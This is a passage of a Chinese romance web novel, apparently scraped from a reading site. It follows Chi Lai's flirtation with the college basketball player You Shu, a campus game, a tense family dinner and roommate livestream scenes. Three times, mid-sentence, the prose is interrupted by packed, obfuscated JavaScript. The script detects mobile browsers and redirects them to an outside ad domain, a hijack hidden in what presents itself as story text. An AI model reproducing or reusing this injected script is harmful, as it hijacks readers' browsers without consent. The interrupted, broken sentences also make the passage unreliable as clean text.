陈锋意说：“你以为他俩为什么分手？自从迟莱升职后，每天跑不完的应酬，说好听点是应酬，职场上哪那么多干净的场子？郑昊元抱怨，她就分手，不就是心虚，趁机甩人？” “说白了，就是看不惯一个女的比你强，尤其还是你身边的人，她的成功刺激到你了，陈锋意，你格局太狭隘了。” 许倩倩一直以为，陈锋意只是为兄弟打抱不平，现在听来，是自己想轻了。 “我狭隘？那你别一次次舔着脸找我呀。” “那你滚啊，今天是我找你的吗？” 陈锋意被许倩倩气得，语气里带着威胁的意味，“你说什么？” “我让你滚。” “行啊，希望你硬气一回，别今天半夜就找我。” 陈锋意出门，许倩倩关门的声音响彻楼道，只剩下一屋子的沉默。 原来自己每次的退让、心软，在陈锋意眼里是这样懦弱不堪，也算是自作自受了。 为了周四的球赛，迟莱这两天把一部分工作都调到了下班时间，所以下班都早不了。 以前刚工作的时候都盼着周末，后来连周末都没有休息，就只能盼着下班，倒是从来没有盼过周四。 所以让人期待的并不是某一天，而是某件事，。 迟莱觉得自己对游恕应该是生理性喜欢，感觉里都带着不单纯的念头。 “游恕，下午一起过去？”方星泽下课了问。 他原本是不想去篮球场人挤人的，奈何周四下午就一节课，一个人回去也没什么事，所以还是打算去凑凑热闹。 “你晚点去吧，我得提前过去。”篮球队的人得把器材和场地安排好，他也得过去帮忙。 “那行，到时候联系。”方星泽说。 游恕路上看了眼时间还早，迟莱应该还没出发。 等他到室外篮球场的时候，刘畅和其他球队队员已经在了，还有不少志愿者穿着红色马甲，一起在那边帮忙。 “游恕，这边。”刘畅远远地就瞧见人了，招手让人过来。 “安排得怎么样？” 游恕四处看了看，基本上差不多了，各班的物资补充也早就放到了指定的位置。 刘畅说：“搞定了。” “嗯，给我留个位置。” “你带了人来？” 迟莱到的话，刘畅应该也能记起来，所以游恕就直言，“嗯，上次那个......姐姐过来。” “姐姐？哦，你姐啊，上次不是见过了嘛，这有什么不好意思的，我给她留个前排的最佳观看位，怎么样？” 刘畅见游恕犹豫的样子，还以为他是不好意思提。 “随便留一个就行了。”游恕说。 “随便留一个？那可能看不清啊。” 游恕想了想，说“那算了，留个第一排的吧。” “行，没问题。” 迟莱在最后一个路口等红绿灯的时候，给游恕发了个消息：快到了，两分钟。 彼时，游恕刚换好衣服，看到消息，把手里的球交给刘畅就去接人了。 刘畅看游恕放下球就往校门口的方向跑，劝说：“别急，从大门口走到过来还得一会儿呢。” 游恕这才放慢了点脚步，否认道:“没急，我过去，就当热身了。” 游恕到的时候，迟莱已经在闸口等着了。 她穿了一件咖色呢子大衣，微微敞开，里面是白色真丝衬衫，领口随意系起的蝴蝶结打破了沉闷，一条浅蓝色牛仔裤衬得腿型很好。及腰的大波浪，坚持了一天，此时弧度只剩下微卷，却意外给人一种温柔妩媚的感觉。 “好看吗？”游恕走到闸口另一一头，就在距离迟莱半米的地方，听见对方问。 游恕刘海垂在眼前，微微遮住了眼神，“谁看了？” 迟莱心想，明明就看了一路。 “进来吧。”游恕刷完脸，闸机打开，发现迟莱没注意，就提醒了一句。 “哦，好。” 迟莱想进来的瞬间，闸口滴了一声。 “快。”游恕伸手拉住迟莱身侧的手，将人从闸门外一下子拉了进来。 迟莱一时没站稳，身子往前倾，另一只手下意识地抬起，撑在了游恕的胸口。 掌心的微凉贴着温热的胸口，游恕沉重有力的心跳就在掌心之下，迟莱勉强站稳。 “那个......它滴的时候就是快要关上了。”游恕掩饰着尴尬，解释说。 “嗯，幸好你在边上，不然我就真摔了。”迟莱整理了一下衣服，半点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183227|165383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不提自己被游恕猛地一拽，重心不稳的事。 游恕紧张之余，松了手退开几步说：“走吧，比赛快开始了。” “好，你带我过去。” 一路上有不少学生，都是往篮球场方向去的，偶尔还有几个学生回头看，不知道是在打量迟莱还是游恕，又或者是在打量这一起走的两个人。 游恕把迟莱带到刘畅提前留出的位置，这里离候场的地方比较近，远离中间那一大片观众席，没那么挤。 “你要去准备了嘛？”迟莱坐下问。 游恕点了点头：“嗯，差不多。” 他们是第二个上场的，队友已经去热身了。 “那你打完来找我？我看不懂，需要一个现场解说，行吗？” 迟莱现在的样子，就像一个求知的学生。 “嗯，走了。” 偶尔示弱一下，游恕好像还挺吃这一套的，迟莱心想。 终于等到游恕上场，现场的欢呼声异常热烈，迟莱觉得自己的眼光得到了认可，心情不错。 “副队，等下可要手下留情啊。”对面是计算机系的，里面有一个也是篮球队的，跟游恕相熟。 游恕说：“就怕留了你们还输。” “哈哈哈哈，你也太瞧不起我们了。” 比赛正式开始，裁判带着哨子，将球抛起来的瞬间，游恕弹跳，长臂一伸拍到球，瞬间拿下主动权。 迟莱第一次见到游恕如此外放的一面，游刃有余地穿梭球场，运球、带球、起跳三分，不论哪个动作都能带动现场的欢呼。 “不专心啊，一直往场外看什么呢？”对方准备拦截游恕的运球，见缝插针说。 游恕挑衅道：“看你怎么输。” 然后直接一个转身的假动作，绕开对方的隔档。 他的速度和力量都格外突出，身体的动作偶尔带起身上宽松的球衣，腹上块垒分明的肌肉隐约可现。略微急促的呼吸，带动着胸前的起伏，额间的汗在倒映着少年身影的球场上挥洒。 游恕抬臂的瞬间，青筋暴起，掌中的篮球像是被锁定了方向，精准地沿着抛物线投进篮筐。 刘畅看着逐渐被拉开的比分，在场外摇头说：“这家伙，把对面当体大那群孙子打呢。” 边上同在候场的队友说：“是啊，恕哥这场打得也太认真了。” “认真？我看不见得，眼睛时不时就往外瞧，他看什么呢？” 刘畅好奇，也往刚刚游恕看得方向看过去，是那天那个姐姐。 要是不说，刘畅还真是忘了这一茬了。这家伙打球不认真，一直看他姐干什么。 那天晚上夜色暗，学校路灯不给力，刘畅也不好意思盯着女生看，所以没太看清。 今天定睛一看，游恕长得好也是有理由的，这一家子颜值都这么顶的嘛。 最后无疑是金融系赢了。 游恕下场接了毛巾就去找人了。 “赢了。”游恕绕过半场，站到迟莱面前，挡住了她看场上的视线。语气像是在说一件极为平常的事，但是又隐隐有炫耀的意味。 迟莱觉得他就是在臭屁，“嗯，输赢我还是能看懂的。” “哦。”不高兴了。 等游恕坐下，迟莱才用只有他们两个人能听见的声音说：“好厉害，弟弟很有......性张力。” 8. 第 8 章 “看个比赛你也能......想到那些上去？” 游恕脸上有些泛红，不知道是刚打完热的，还是这会儿臊的。 迟莱也没打算放过他，继续说：“不是看比赛想到的，是看你想到的。” “咳，还要不要我解说了？”游恕第一次注意到场上有很多人在看他们这儿，平时他根本不会注意，果然人一心虚，就总怕被人注视。 “要啊，接下来我就主要听你说了，随便看看。” 游恕放弃了，无奈地叹了口气说：“迟莱，你不撩我能死？” 迟莱笑得肩膀在抖，游恕恼羞成怒说：“不许笑。” “不笑了不笑了，我听你的。” 游恕心想，你要是真听我的就好了。 这边坐得基本上都是跟篮球队的人相熟的同学、室友，简单来说就是半个“家属区”。 “队长，那是谁啊？”问话的是刚刚跟游恕对打的球队队员，打球的时候游恕一直往那儿看，现在更是一下场就坐了过去。 刘畅说：“游恕他姐。” “亲姐？” 这个刘畅还真没问过，应该是亲姐吧，不然游恕什么时候跟女的走这么近过，又长得这么出众。 队员说：“我看后边的女生都往那儿盯，齐刷刷的。” “害，没什么好盯的，我谈了游恕都不可能谈的。”刘畅说。 “队长，我怎么觉得还是副队更可能呢。”开玩笑的几个队员笑作一团。 刘畅平时在队里待得久，跟这些队员私下开玩笑开习惯了，只是笑着骂了一句就回神看比赛了。 “热？”游恕看迟莱一直在把头发往后面拨。 “有点。” 今天气温升高了一些，但是最近昼夜温差大，迟莱习惯性带一件外套，下车的时候没有脱。 体育馆里人多，现在就闷得有些热了。 游恕说：“衣服脱了吧。” “嗯？” “外套脱了，一会儿我帮你拿到候场那边去。”观众席位置小，一直抱着外套不光热还挤。 游恕接过迟莱的外套，上面还有淡淡的香水后调，清香淡雅，在这个球场上显得格外特别。 “等下还有你的比赛吗？”迟莱问。 “嗯，最后有场表演赛，结束了我吧外套给你送回来。” “好。” 游恕的球衣还没有换下，健硕有力的手臂赤裸地贴着她单薄的真丝衬衫，时不时的动作都会互相摩擦到，游恕过高的体温让她都有些燥热了。 迟莱看得囫囵吞枣的，偶尔故意问问边上的人这个几分，那个几分，游恕讲起来很专业，很认真，还会侧头问她懂了没。 这些都让迟莱的注意力无法集中在比赛上，完全被他分散去了。 几个系两两比赛结束，最后按照得分前三都有奖品。 游恕到场内，把迟莱的衣服放在了自己的书包上，最后想了想，还是用自己包里的外套把迟莱的包裹住了。 “干嘛呢，热场结束了，咱们得上场了。”刘畅喊说。 “你去，我马上。” 表演赛都是校队的老熟人，一个个的还没上场就跟打了鸡血似的，没有平时跟队出去打比赛时的严肃认真，是怎么开心怎么来。 观众席上大部分人都等到表演赛结束才走，场内和场外的隔离栏也已经被撤了下去。 “诶，游恕。”队员用手肘怼了怼游恕，示意他往场外看。 是方星泽刚从观众席上下来。 “兄弟，今天可太帅了，我坐观众席，耳朵都要被她们喊得耳鸣了。” 方星泽到的时候位置不多了，来看比赛的女生大多都是成群结对的，中间有几个零散的单个位置，于是他就被夹在了女生中间坐着，全程都听不到自己给游恕加油的声音。 “你卡点来，能有什么好位置。”游恕说。 “你也不知道给我留个位置，真是的。” 说到这儿，方星泽就忍不住吐槽，原本说好了的给自己留个位置，结果游恕半路发了个消息说留不了了。 “人太多，没位置留了。”游恕随意抓了抓头发，扭头掩饰着什么。 方星泽大方说：“行吧，那我先回去了，晚点得直播了。” 游恕回到位置上的时候，发现迟莱不在，四下张望，发现人在器材室门口，边上站着刘畅。 “诶，游恕你来啦。” 游恕看了眼迟莱，然后对刘畅说：“嗯，你不是要整理器材嘛。” “是啊，这会儿散场挤得很，我就让姐姐过来等了。” 刘畅见游恕手里拿着两件外套，估摸着是要送他姐回去了，于是道：“那行，我先去忙了，姐姐你有空常来看啊，让游恕带你过来。” “好。”迟莱笑着说。 “你跟刘畅挺熟？”游恕等人走了问。 迟莱迟疑了一下，故意提起说：“还好吧，也就上次跟你讨论了一下他的身材。” “你！” “怎么了？” 游恕说：“没事，姐姐撒网太广，我怕你累着。” 迟莱心里想笑，但是面上还是波澜不惊，“怎么会。” “那......” “我就在你这儿撒了。”迟莱打断了游恕的胡乱猜想。逗一下就好了，引起误会就麻烦了。 游恕意外地没在意迟莱撩自己的话，只半信半疑地问：“那还一转眼就跑了？” “刘畅说你得先来这儿，我比较猴急就来了。” 刚刚表演赛结束的时候，自己确实是要一起收器材的，但是想到还有个人在那头，就跟队里的人说了晚点过来，没想到还扑了个空。 “你最好是。”游恕暂且信了。 迟莱看着游恕笑，说：“哥哥好凶啊。” “你...别乱叫。” 迟莱喜欢游恕语气很重地对自己说话，因为这种时候，一般都是游恕害羞了。 “看来你更喜欢我喊你哥哥？” “没有！” 游恕被看穿后，语气更凶了些，不过迟莱不怕，她就是故意的。 “是吗哥哥？” 游恕侧过去一点，迟莱就探头跟过去一点，后来游恕实在受不了了，说：“饶了我吧。” 迟莱这才停下来。 算了，不能撩过了。 “晚上估计去不了直播间了，还有一点工作没处理完。” 原本想处理完过来的，但是实在是搞不完，迟莱不想迟到，就先过来了。 “现在？那我送你出去。”游恕把衣服递过去，示意迟莱穿上，这个点外面估计已经降温了。 “别急啊。” “我没急，不是你自己说要回去的吗？” 迟莱把人拉到自己边上，“陪我吃个饭再走。” “吃饭？” “嗯，不愿意？” 两个人一起出了体育馆，逆着人流走，天色暗了，果然风吹得都有些凉。 游恕说：“去校外吧，现在一窝蜂的估计都在食堂，挤不进去了。” “行啊，还是你带路，我付钱。” “不用，我有。”游恕认真地说。 “生活费发了？”迟莱开玩笑问，算是同意了，她没有硬跟男生抢着买单的习惯。 游恕抬手将双肩包往上提了提，“别说的我跟小孩儿似的，我自己有钱，而且这次比赛赢了有奖金，分下来够请一顿饭。” “好，那我得想想吃什么了。”迟莱的语气俨然是想要敲他一笔。 “随你想，吃什么我定。”游恕从迟莱身边几大步走到前头，转身倒退着边走边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183228|165383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说。 小屁孩儿，迟莱感觉自己仿佛又看见了球场上那个意气奋发的少年，没再管风有没有吹乱头发，笑着跟了上去。 为了节约点时间，游恕选了家学校附近的，吃完迟莱就回去了。 方星泽这边还在为榜一没来“打卡”而失落。 看到游恕回寝室，便说：“你最近是不是没怎么搭理榜一啊。” 游恕被问得有些懵。 “她今天都没来我直播间。” 游恕说：“她今天不来。” 这个点应该还在路上，工作都没处理完，哪有时间看直播。 “什么？为什么呀，你不会一个月没到就跟人家闹掰了吧？完了完了，真要退款了。我就知道你不是个会哄人的人，当初要是榜一看上的是叶肆他们就好了，他们嘴都甜。”方星泽此时的脸比苦瓜还苦。 游恕不耐烦地说：“方星泽，你真的很吵。” “你还嫌我吵，啊——你没良心游恕。” 弹幕此时都是哈哈哈哈，方星泽等到新一把游戏开局才闭上嘴。 游恕在手机上给迟莱说了一下方星泽的惨状。 【你不来，方星泽都嚎哭了。】 【方星泽是谁？】 游恕决定这条消息坚决不能让方星泽看到，不然自己的耳朵可以不要了。 游恕：你天天刷礼物的爱播。 迟莱：别乱说，我明明是给你刷的。 游恕：那我还挺惨的，人是我陪的，钱是兄弟拿的。 迟莱刚到家放下包，看到消息笑出了声，回道：要不换换？ 游恕发了个问号的表情，迟莱玩笑也不开过火，改口：换不了一点。 两个人吃完饭分开的时候，迟莱还在接工作电话，想到这儿，游恕便说自己要去洗漱了，不想耽误人家工作时间。 听见游恕的动静，方星泽还想让他帮自己把晾在阳台的鞋子拿进来，一转身发现游恕的椅子离得远远的。 “你怎么今天坐这么远？” 游恕人在阳台拿衣服，回答说：“你不是开了摄像头？” 方星泽心想，前几天不是还入镜了，怎么今天又高冷起来了。 这周末迟莱要回家吃顿饭，郑昊元的事情光跟他说作用不大，一个巴掌拍不响，两个老人家自从郑昊元上次趁着迟莱出差陪他们吃了顿饭之后，有事没事就给人打电话。 周五下班，迟莱路过超市就买了点水果，到家楼下迟妈一个电话过来，迟莱又拎着东西跑了一趟家楼下的便利店买调料。 “爸，妈，我回来了。” 迟爸从厨房里出来，接过女儿手里的水果，说：“上次你妈生日买的水果还没吃完呢，你又买。” “这都是我想吃的，我吃，放心吧。” 迟妈端着最后出锅的两盘菜，看见父女俩还在客厅站着，就催说：“饭好了，快过来。你爸呀，每次我做菜的时候就喜欢在厨房转悠，饭一好就找不着人了。” 迟爸说：“我这不是在呢嘛。” “走吧走吧，我都饿了。” 迟爸笑着说：“我今天买了两条黄鱼让你妈做，快尝尝。” 迟莱特别爱吃鱼，又特别不喜欢鱼腥味，那种清蒸的就吃不太来，所以迟妈在家都给烧红烧的，带点甜口。 “你这半年回家都少，这周主动想着回来了？” 迟莱说：“您这说的，我想回来还有错了。” “你想回来，怎么连你爸的电话都不接，就发条消息敷衍我们。” “女儿工作忙，记得回消息就好。” 迟爸习惯打圆场，那通电话要是迟妈打的，估计迟莱第二天就得被电话轰炸。 迟妈瞪了迟爸一眼，然后说：“要不是小郑，我们真不放心，大晚上的你有什么事儿，电话都接不了。” 9. 第 9 章 “我正想说呢，以后你们少给郑昊元打电话啊。”迟莱说。 迟妈放了放筷子，“人家小郑是好心，你怎么总是拒绝人家的好意呢？” “强给的好意就不是好意，而是绑架，我跟他没可能，你们也别瞎掺和了。” “什么叫瞎掺和，那你这么大了，我们不急怎么办？” “哎呀好好说，别吵别吵。”迟爸按着迟妈，安抚道。 迟莱觉得回家说这个事真的没意思，吃饭都吃得累人。 最后只说：“我自己有数，回来也是给你们说一声，别想着找郑昊元，我不想把自己搭进去，所以欠不起人家。” “你！我懒得说你，你等以后孤家寡人了，靠谁？” “这个问题我很早就跟你说过了，我不靠谁，子孙满堂的人不也有走的一天，结果都一样。” 迟妈放下碗，碰得桌面一声重响，气急了说：“随便你，我不管了，你要知道你耗不起了。” 一顿饭吃得不太愉快，即便有迟爸在中间调和，母女俩还是没谈好。 不过迟莱本身也没想着把人讲明白，反正表过态了，至少爸妈不会再那么无所顾忌地联系郑昊元。 吃完饭，迟妈就去厨房收拾了，一句话没说，剩下迟爸跟迟莱两个人到客厅去了。 “莱莱，你知道嘛，其实你妈先前也不是很满意小郑那孩子，因为她知道你俩分手是因为小郑介意你工作太忙。” 分手的事，迟莱是后来才跟家里说的，当时迟妈一直催着两个人回家吃一次饭，她没办法就说了。 迟莱一直以为迟妈挺认可郑昊元的。 迟爸继续说：“你妈知道你很重视工作，她就是偶尔想你了抱怨一句你不回家吃饭。其实她看你做得好心里也高兴，但她也是真着急，她怕自己以后帮不上你什么，怕家里有事儿你没人商量。这次小郑来家里吃饭，说是会尊重你的工作，你妈觉得他挺诚心的，就想劝你再试试。” 都说女儿是小棉袄，但是母女俩之间却很少说软话，都是刀子嘴。 毕竟是亲生的，像也像不到别人身上去。 迟莱早就过了青春期的叛逆，她理解爸妈急什么，但这根本就是观念上的不一致，没法调和。 所以她从来不想着说服爸妈，因为没有谁能轻易改变另一个人恪守了几十年的观念，就像自己也没有办法为了他们而改变。 “爸，我跟郑昊元分手不光是因为我工作忙的原因，说到底的原因就是我不喜欢他，一开始觉得合适，后来发现只是在我那一个人生阶段里比较合适，这种阶段性的关系，我觉得并不适合走进婚姻，我不想自己后悔，尤其是我明知道自己不行的情况下。” 迟莱把迟爸手里的烟拿了下来，在面前的烟灰缸里灭了，“少抽点吧，妈看到了又要生气。” 迟爸笑着说：“你妈老爱生气。” 顿了顿，又感慨说：“不过要是没有你妈，这个家指不定乱成什么呢。” “我知道。”迟莱说，把手搭在了迟爸膝上。 厨房里传来餐具擦碰的声音，没一会儿迟妈就端了一份水果出来。 “你买的水果，吃不完都带回去，家里的还没吃完又买了这些。”迟妈语气责怪，手里端来的水果，却已经被贴心地切好，插上了叉子。 迟莱心里一暖，不知道说什么好，接过果盘，才说：“知道了，我今天在家睡，明天再去公司。” “得得得，回去回去，这儿到你公司大老远的，别折腾。” 迟爸听着迟妈嘴上赶人，不忍心戳穿，唱起了白脸说：“莱莱想留家里睡就留呗，孩子这么大了，自己时间还安排不好嘛。” “我早起半个小时就行了，顺便吃个早饭，我那片的都吃腻了。” 迟爸说：“行，让你妈给你弄，她今天还说我起来就钓鱼，做的早饭都没人吃。” “我可没说啊，一天天伺候你们吃顿饭，还不够我忙的。”迟妈一脸嫌弃地看着迟爸。 迟莱看两个老夫老妻吵嘴，看得津津有味，手里的水果都吃了不少。 “行了，回房吃吧，今天早点休息，明天喊你起来别赖床。” 迟莱被迟妈推着走了几步，扭头说：“知道了，明天我想吃排骨粥。” “去去去，不准点菜，有什么吃什么。” 迟莱已经三个多月没回来住了，偶尔回来吃饭，也是吃完就回去了，就怕公司突然有急事找。 房间里的陈设都没变，床上、桌上虽然没有罩上防尘布，但是还是一尘不染，迟妈隔几天就会打扫。 迟莱开了电脑，手里的水果放到了桌上，决定看一眼直播。 点进去发现关注列表里，星星点杀好像没有播，现在都快十点了，不应该呀。 迟莱想不通，直接弹了个消息给游恕：今天怎么没播？ 游恕还没回，迟莱无聊就点开了室友的主页，里面发的都是他的高光集锦。迟莱虽然不玩，但是这个爆头秒人的视频配上卡点音乐，还挺带感的。 方星泽发视频的频率不算高，所以视频总量不多，迟莱没刷一会儿就刷到了早期一点的内容。 视频里的游戏画面跟最近直播的也不一样，应该是更新了版本，看了眼视频发表的时间，已经是一年多前了。 这条视频的点赞很高，有十多万，转发量也不少。 迟莱停留看了一会儿。 “他在左边，露头了，看见没？”“我去，你摸静步呀，完了，他听到你脚步了。” “我没看到人。” 视频开始是游恕室友的声音，迟莱进了这么多次直播间，还是挺熟的，但这后面一句是游恕的声音？。 “你躲着别动，别被他秒，我去绕他屁股。” “......他死了，你别绕了。” “你怎么杀的？” “他以为我是人机，收枪想拿刀砍死我，我就先开枪把他打死了” 画面放大了游戏右上角，Ysss击杀了阎王要你命。 视频弹幕上都是哈哈哈哈 【傻子克高手。】 【高手不想打人机漏枪声，就是没想过对手可能不是人机，只是比较菜。】 【对面好像还是满配m7，】 【我去，全装哥要破防了，主播朋友是裸吊uzi啊哈哈哈。】 迟莱看不太懂，但是大概知道，应该是游恕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183229|165383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿着烂枪，瞎猫碰上死耗子打死了一个大哥。 不过，怎么能说是傻子克高手呢，跟游恕本人的形象也太不搭了，但是跟游戏里的这个Ysss......好像还挺搭的，看起来确实很不擅长游戏。 【出去吃饭了，他现在回去播。】 游恕现在才回，应该是在外面，刚看手机。 游恕：你在看？ 迟莱：嗯，可惜没撞上。 她还是很难把游恕跟游戏里这个Ysss匹配上。 “要不走回去吧，正好消化消化。”方星泽摸着肚子，一副撑到吐的样子，腰都直不起来了。 叶肆说：“我都行啊，反正今天也不去图书馆了。” “我刚打了车。”游恕看完消息，拿着手机边点边说。 吃饭的地方在大学城附近的一个商场楼上，这个点商场都已经关门歇业了。 三个人吃完海底捞坐电梯下来，马路上只见寥寥几个人，只剩下车灯和路灯互相照应。 方星泽疑惑说：“你打车了？这也没多远，之前不都没打车嘛。” “你回去不是还要直播？” “害，今天本来就说不一定播，我发个动态请个假就行了。”方星泽突然感觉游恕还挺体贴的，记得自己直播的事，心想为了兄弟，请一天假也无妨。 “粉丝等着你，你就想着放鸽子？”游恕一脸恨铁不成钢的样子。 方星泽觉得奇怪，平时这人都不关心自己的直播，这几天怎么这么反常，关心自己也就算了，还关心到自家粉丝身上了。不过想到自己刚刚A掉了两三百块钱就心疼，于是鼓起劲说： “行，打车打车，回去挣个饭钱。” 游恕这才放下心去盯手机里司机更新的定位，还有两分钟到达。 吃饭的地方确实离学校不远，打车也就十分钟的路程，离宿舍门禁都还早。 “我去洗澡，你先直播吧。”吃完火锅，身上有味道，游恕很不喜欢。 方星泽人刚坐下，屁股都还没热，就被游恕催着去直播。 “你让我有一种上班的感觉，你不会是我的事业粉吧？” 游恕从阳台拿了晒干的换洗衣服回来，“你晚点开也行，等我洗完澡，十分钟。” “我开个直播还要跟着你的行程走。”方星泽的自我意识觉醒，收拾收拾就准备开播。 游恕脱了身上的T恤，说：“我怕你又被我揍。” “说得有道理，是时候给我粉丝谋点福利了。”方星泽不怕死地说，一瞬间觉得有搞头。 不过游恕拿起衣服作势抽他的时候，还是退缩了，这家伙力道太大了。 叶肆这几天起早贪黑的，今天好不容易放松一天，看方星泽上游戏，手痒说：“泽啊，双排搞不搞。” “行啊，等下我拉你。”方星泽简直求之不得，两个人双排比单人搞技术直播要轻松多了，要不是游恕技术上不了台面，另外两个又要准备考研，方星泽早就想搞个双排节目了。 游恕快速冲了一下就关了水，换好衣服在镜子面前照了照，纠结了半天，还是去衣柜换了一件T恤套上。 刚刚那件，上次直播好像穿过了。 10. 第 10 章 游恕出来正好听见方星泽在催叶肆上号进组队。 【他好像开了，你想看可以看看，他技术不错。】 迟莱洗完澡出来，见手机对面的人懂装不懂的消息就忍不住想笑。 技术不错？自己进这个游戏直播间，什么时候正儿八经看过游戏内容，他还能不知道嘛。 【嗯，我比较想看彩蛋。】 游恕：你进了？ 他看了眼直播间里的贵宾席，上面明明没有她的id。 迟莱：进了。 游恕：没看到你。 难道是卡bug了？ 迟莱得逞地说：原来你在直播间蹲我啊。 游恕：...... 游恕：我帮方星泽看的。 迟莱：那可惜了，特意开了小号想专心看，看来还是得刷门票才行啊。 她确实每次来都刷了礼物，有几次还差点白刷了，那天游恕问了方星泽，一个豪华飞艇价值三千，于是赶紧阻止：不用刷，你就小号看吧。 迟莱：你室友知不知道你断了他的财路？ 不仅不知道自己断了他财路，甚至以为自己在帮他招财。 迟莱：今天可以免费看？ 迟莱现在才切了新号进到直播间。 刚进就看见游恕乖乖坐在了主播后面，当起了背景板，弹幕里还是一如既往的有不少人在刷“室友”两个字，不过方星泽看见了也不回，上次被揍的阴影还在呢。 谁知迟莱还没看上一会儿，游恕就被方星泽伸手拉过去说，“快看叶肆的操作，被吓出人机脚，笑死我了，这操作熟不熟悉？” 直播画面里，方星泽提前死亡，视角已经切换到了叶肆的视角。 “你上来就被人偷了，我一个人怎么打。”叶肆一边操作一边跟方星泽互喷。 迟莱完全没有听进他们互骂的内容，因为游恕出镜了，虽然只有一个侧脸。 “我去，室友好帅哦。” “是上次那个室友吗？身材和脸都这么顶嘛？” “上次是谁说室友丑的？” 被弹幕cue到的某主播破防说：“帅也没用，他技术不行。” 然而弹幕上都刷起了“我可以”。 方星泽觉得自己之前果然没说错，技术不够，颜值也能秒杀，弹幕一下子被入侵了似的，已经看不到半点关于游戏的内容了。 然而，还没出镜几秒，游恕已经伸手挡住了摄像头，镜头一黑，再亮的时候，人已经走回去了，只剩主播一脸憋屈，敢怒不敢言的样子。 迟莱：我也可以。 游恕：你可以什么？ 迟莱：弹幕可以什么我就可以什么，我可以的还比他们多，要试试吗？ 迟莱算起来也有几天没见游恕了，刚刚在摄像头里一闪而的脸现在看来多了熟悉的感觉，因为它前不久还被自己逗得害羞到泛红。 游恕：我不知道你在说什么。 迟莱不介意游恕知道自己目的不纯，相反她更怕游恕不知道她想要什么，又或者是选择避而不谈，那她这些日子就是纯浪费时间陪弟弟过家家了。 她可以把时间花在做成某件事的过程上，但不能花太多时间去确定某件事是否一定存在，就像不会有人花过多的时间去做一个简单的背调。 迟莱需要明确游恕是可以接受那种关系的，这样他才有花费的价值。 【如果你介意的话，我之后也可以正常和你说话。】 游恕分辨不清迟莱话里话外的意思，总觉得自己被架住了，介不介意都不对，他只知道，他不想让自己和迟莱的关系，陷入到那种低级趣味中。 【好。】 迟莱没回了，游恕有些后悔刚刚阻止了迟莱刷礼物，因为他现在根本不知道迟莱还在不在直播间。 最后，游恕一直等到方星泽下播才上床躺着。 迟莱这边电脑直播是开着的，但是之前一直给人发消息调情的手闲了下来，点开朋友圈刷了会儿。 弟弟装傻那就算了，她也不能绑着人做什么。 突然看到许倩倩的朋友圈动态停在了上周，原本日更的人怎么突然没动静了。 迟莱给许倩倩发消息，问了句最近在干嘛，对面倒是回得很快。 【每天就是上班下班，没什么事。】 迟莱不疑有他，也没再细问，想着等最近这阵子忙完了再找许倩倩出去吃饭，免得撞上陈锋意。 市里的篮球赛正如火如荼地进行，南北大篮球队接连几天都是高强度训练，上周首战告捷进入了复赛，今天一群人就要早起坐大巴去了，车上大家都是昏昏欲睡，睡眠时间被训练压缩得根本睡不饱。 游恕心中的弦没松，穿着校队球衣，额头和手腕上带着止汗带，脖子上环着u型枕，一脸冷淡，靠在椅子上睡不着。 这次比赛在市体育馆，跟南北大在一个区，开车半小时就到了。 郑昊元是这次的带队老师，到达目的地后把大家喊了起来。 “都清醒清醒啊，咱们是第二场，得早点过去热身进入状态。” “知道了。”大伙儿一起应道。 刘畅在前面带头，游恕走在最后，郑昊元检查了一下车上有没有落下东西后才下车，在后面拍了拍游恕的肩说：“怎么了？不在状态啊。” “没有，没睡好而已。” 游恕脸上疲态不重，郑昊元若有所思地说：“候场的时候看你一直看手机，谈恋爱了？” 郑昊元作为老师，自然不清楚学生的事，但是毕竟是自己队里的，多少了解游恕平时的样子，最近休息复盘的时候，难得看他出神。 “没有。”游恕否认了。 “别影响比赛。” “放心吧，影响不了。”前两场比赛打得都很不错，游恕的表现尤为亮眼，或许别人说这个话会让人觉得太狂妄了，但是游恕有底气，也有实力。 郑昊元是学体育教育出身的，相对于专业球员，他的球技并不突出，但他有更多教育方面的经验，游恕绝对是他见过的，在这个年纪里，条件和天赋都令人艳羡的存在。 之前在办公室听其他老师聊起过游恕，体育并不是他唯一擅长的，这只是其中一项，大概这也是他没有选择成为专业球员的原因吧，否则南北体大是更好的选择。 郑昊元说：“行，等球赢了，专心谈恋爱去。” 游恕无意解释，跟上队伍往前走了。 自从上次答应了正常聊天后，游恕手机里再没收到过迟莱的消息，方星泽还是每天雷打不动地准时直播，但是迟莱好像没再来过。 游恕这才发现，自己和迟莱之间好像根本没有必须联系的理由，就连开头都找不到话语去说，过去 